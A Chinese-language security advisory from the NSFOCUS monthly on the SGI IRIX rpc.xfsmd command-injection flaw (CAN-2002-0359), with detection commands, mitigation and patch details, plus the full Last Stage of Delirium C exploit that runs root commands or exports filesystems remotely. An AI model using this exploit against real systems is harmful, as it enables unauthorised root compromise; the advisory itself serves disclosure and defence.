首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第33期->最新漏洞
期刊号: 类型: 关键词:
SGI IRIX rpc.xfsmd远程命令执行漏洞

日期:2002-07-17

发布日期: 2002-6-20
更新日期: 2002-6-25
受影响的系统:  
SGI IRIX xfsmd
    - SGI IRIX 6.5.9m
    - SGI IRIX 6.5.9f
    - SGI IRIX 6.5.9
    - SGI IRIX 6.5.8m
    - SGI IRIX 6.5.8f
    - SGI IRIX 6.5.8
    - SGI IRIX 6.5.7m
    - SGI IRIX 6.5.7f
    - SGI IRIX 6.5.7
    - SGI IRIX 6.5.6m
    - SGI IRIX 6.5.6f
    - SGI IRIX 6.5.6
    - SGI IRIX 6.5.5m
    - SGI IRIX 6.5.5f
    - SGI IRIX 6.5.5
    - SGI IRIX 6.5.4m
    - SGI IRIX 6.5.4f
    - SGI IRIX 6.5.4
    - SGI IRIX 6.5.3m
    - SGI IRIX 6.5.3f
    - SGI IRIX 6.5.3
    - SGI IRIX 6.5.2m
    - SGI IRIX 6.5.2f
    - SGI IRIX 6.5.2
    - SGI IRIX 6.5.16
    - SGI IRIX 6.5.15m
    - SGI IRIX 6.5.15f
    - SGI IRIX 6.5.15
    - SGI IRIX 6.5.14m
    - SGI IRIX 6.5.14f
    - SGI IRIX 6.5.14
    - SGI IRIX 6.5.13m
    - SGI IRIX 6.5.13f
    - SGI IRIX 6.5.13
    - SGI IRIX 6.5.12m
    - SGI IRIX 6.5.12f
    - SGI IRIX 6.5.12
    - SGI IRIX 6.5.11m
    - SGI IRIX 6.5.11f
    - SGI IRIX 6.5.11
    - SGI IRIX 6.5.10m
    - SGI IRIX 6.5.10f
    - SGI IRIX 6.5.10
    - SGI IRIX 6.5.1
    - SGI IRIX 6.5
    - SGI IRIX 6.4
    - SGI IRIX 6.3

描述:
---------------------------------------------------------------------

BUGTRAQ  ID: 5075
CVE(CAN) ID: CAN-2002-0359

Xfsmd守护程序是一款由SGI公司分发的xfs文件系统和磁盘卷管理程序,Xfsmd处理文件系统的建立、挂接和卸除,Xfsmd在IRIX操作系统中作为RPC符号号391016注册,在所有IRIX系统6.2版本到6.5.16版本中默认安装。

Xfsmd服务的代码中由于调用了不安全的popen()函数,远程攻击者可以利用这个漏洞在远程目标主机上以root权限执行任意命令。

Xfsmd RPC函数使用popen()函数来调用几个外部程序,由于popen()函数对提交的参数缺少正确的过滤,攻击者可以提交包含元字符如“;”、“|”的参数来执行额外的命令,Xfsmd以root权限运行,攻击者可以利用此漏洞以root权限执行任意命令。

LSD提供的利用程序利用了RPC xfsexport_1()系统调用,当xfsexport_1()系统调用被调用时,会使用xfsExportInternal()函数,在xfsExportInternal()函数中,最初会对用户提供的参数进行一些检查,如果成功就使用xfs_export()函数,在这个xfs_export()函数中创建了一个由用户提交数据填写的结构,包括要输出的文件系统名及exportfs命令的选项,然后用popen()调用执行,意味着在xfs_export()中,通过了使用popen()函数来调用外部/usr/etc/exportfs命令,这样攻击者只要在exportfs命令选项字符串中提交包含“;command”的字符串,就可以使“;”号的命令执行,如执行";touch /tmp/test"来执行建立文件操作。


要判断xfsmd是否安装,执行如下命令:

# versions eoe.sw.xfsmserv
  I = Installed, R = Removed


   Name Date Description


   I eoe 08/28/2001 IRIX Execution Environment, 6.5.13f
   I eoe.sw 08/28/2001 IRIX Execution Environment Software
   I eoe.sw.xfsmserv 08/28/2001 XFSM Server Software

存在类似上面输出,就表示Xfsmd已经安装,系统存在此漏洞。

<*来源:Last Stage of Delirium (contact@lsd-pl.net)
  
  链接:http://archives.neohapsis.com/archives/bugtraq/2002-06/0252.html
        http://archives.neohapsis.com/archives/bugtraq/2002-06/0247.html
        ftp://patches.sgi.com/support/free/security/advisories/20020605-01-I
*>

测试程序:
----------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Last Stage of Delirium(contact@lsd-pl.net) 提供了如下测试程序:

*## copyright LAST STAGE OF DELIRIUM Sep 1999 poland        *://lsd-pl.net/ #*/
/*## xfsmd                                                                   #*/

/*   this code forces xfsmd to execute any command on remote IRIX host or     */
/*   to export any file system from it with read/write privileges.            */
/*   the exploit requires that DNS is properly configured on an attacked      */
/*   host. additionally, if the file systems are to be exported from a        */
/*   vulnerable system, it must have NFS subsystem running.                   */

/*   example usage:                                                           */
/*   xfsmd address -c "touch /etc/lsd"                                        */
/*     (executes "touch /etc/lsd" command as root user on a vulnerable host)  */
/*   xfsmd address -e 10.0.0.1 -d "/"                                         */
/*     (exports / filesystem to the 10.0.0.1 host with rw privileges)         */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <rpc/rpc.h>
#include <netdb.h>
#include <stdio.h>
#include <errno.h>

#define XFS_PROG    391016
#define XFS_VERS    1    
#define XFS_EXPORT  13

typedef char *req_t;
typedef struct{char *str1;int errno;}res_t;

bool_t xdr_req(XDR *xdrs,req_t *objp){
    if(!xdr_string(xdrs,objp,~0)) return(FALSE);
    return(TRUE);
}

bool_t xdr_res(XDR *xdrs,res_t *objp){
    if(!xdr_string(xdrs,&objp->str1,~0)) return(FALSE);
    if(!xdr_int(xdrs,&objp->errno)) return(FALSE);
    return(TRUE);
}

main(int argc,char **argv){
    char command[10000],*h,*cmd,*hst=NULL,*dir="/etc";
    int i,port=0,flag=0,c;
    CLIENT *cl;enum clnt_stat stat;
    struct hostent *hp;
    struct sockaddr_in adr;
    struct timeval tm={10,0};
    req_t req;
    res_t res;

    printf("copyright LAST STAGE OF DELIRIUM Sep 1999 poland  //lsd-pl.net/\n");
    printf("rpc.xfsmd for irix 6.2 6.3 6.4 6.5 6.5.16 IP:all\n\n");

    if(argc<3){
        printf("usage: %s address -c \"command\" [-p port]\n",argv[0]);
        printf("       %s address -e address [-d dir] [-p port]\n",argv[0]);
        exit(-1);
    }
    while((c=getopt(argc-1,&argv[1],"c:p:e:d:"))!=-1){
     switch(c){
     case 'c': flag=0;cmd=optarg;break;
         case 'e': flag=1;hst=optarg;break;
         case 'd': dir=optarg;break;
         case 'p': port=atoi(optarg);
     }
    }

    req=command;
    if(!flag){
        printf("executing %s command... ",cmd);
        sprintf(req,"XFS_MNT_DIR:/tmp\nroot:;%s;",cmd);
    }else{
        printf("exporting %s directory to %s... ",dir,hst);
        sprintf(req,"XFS_FS_NAME:%s\nroot:%s\n",dir,hst);
    }

    adr.sin_family=AF_INET;
    adr.sin_port=htons(port);
    if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
        if((hp=gethostbyname(argv[1]))==NULL){
            errno=EADDRNOTAVAIL;perror("error");exit(-1);
        }
        memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
    }else{
        if((hp=gethostbyaddr((char*)&adr.sin_addr.s_addr,4,AF_INET))==NULL){
            errno=EADDRNOTAVAIL;perror("error");exit(-1);
        }
    }
    if((h=(char*)strchr(hp->h_name,'.'))!=NULL) *(h+1)=0;
    else strcat(hp->h_name,".");

    i=RPC_ANYSOCK;
    if(!(cl=clnttcp_create(&adr,XFS_PROG,XFS_VERS,&i,0,0))){
        clnt_pcreateerror("error");exit(-1);
    }

    cl->cl_auth=authunix_create(hp->h_name,0,0,0,NULL);
    stat=clnt_call(cl,XFS_EXPORT,xdr_req,(void*)&req,xdr_res,(void*)&res,tm);
    if(stat!=RPC_SUCCESS) {clnt_perror(cl,"error");exit(-1);}
    printf("%s\n",(!flag)?"ok":((!res.errno)?"ok":"failed"));
}


--------------------------------------------------------------------------------
建议:

临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 禁止此程序的使用。

1、切换自己的身份到root用户

  $ su -
  #
  
2、杀掉xfsmd进程
  
  # killall /usr/etc/xfsmd
  
3、编辑配置文件,使系统重启以后不再自动启动程序
  
  # vi /etc/inetd.conf

  找到文件中如下的行:
  sgi_xfsmd/1 stream  rpc/tcp wait    root    ?/usr/etc/xfsmd     xfsmd

  将其注释掉:
  #sgi_xfsmd/1 stream  rpc/tcp wait    root    ?/usr/etc/xfsmd     xfsmd

  重启inetd:
  # killall -HUP inetd

4、如果想完全删除此程序,可使用如下的命令

  # versions remove eoe.sw.xfsmserv

厂商补丁:

SGI
---
SGI已经为此发布了一个安全公告(20020605-01-I)以及相应补丁:
20020605-01-I:xfsmd vulnerability
链接:ftp://patches.sgi.com/support/free/security/advisories/20020605-01-I

漏洞信息:

   系统版本       是否受影响      补丁号         备注
   ----------     -----------     -------      -------------
   IRIX 3.x         未知                        备注 1
   IRIX 4.x         未知                        备注 1
   IRIX 5.x         未知                        备注 1
   IRIX 6.0.x       未知                        备注 1
   IRIX 6.1         未知                        备注 1
   IRIX 6.2         未知                        备注 1
   IRIX 6.3         未知                        备注 1
   IRIX 6.4         未知                        备注 1
   IRIX 6.5          是                         备注 2 & 3
   IRIX 6.5.1        是                         备注 2 & 3
   IRIX 6.5.2        是                         备注 2 & 3
   IRIX 6.5.3        是                         备注 2 & 3
   IRIX 6.5.4        是                         备注 2 & 3
   IRIX 6.5.5        是                         备注 2 & 3
   IRIX 6.5.6        是                         备注 2 & 3
   IRIX 6.5.7        是                         备注 2 & 3
   IRIX 6.5.8        是                         备注 2 & 3
   IRIX 6.5.9        是                         备注 2 & 3
   IRIX 6.5.10       是                         备注 2 & 3
   IRIX 6.5.11       是                         备注 2 & 3
   IRIX 6.5.12       是                         备注 2 & 3    
   IRIX 6.5.13       是                         备注 2 & 3
   IRIX 6.5.14       是                         备注 2 & 3
   IRIX 6.5.15       是                         备注 2 & 3
   IRIX 6.5.16       是                         备注 2 & 3

备注:

     1) 这个版本的IRIX系统已经不再被维护了,请升级到受支持的版本,参看 http://support.sgi.com/irix/news/index.html#policy 来获得更多的信息。

     2) 如果你还未收到一张IRIX 6.5.x for IRIX 6.5的CD,请联系SGI的支持部门,访问:http://support.sgi.com/irix/swupdates/ 。

     3) 关闭或者反安装程序。

SGI不再为这个问题提供补丁,因为此程序已经不再被维护了。请卸载此程序。
版权所有,未经许可,不得转载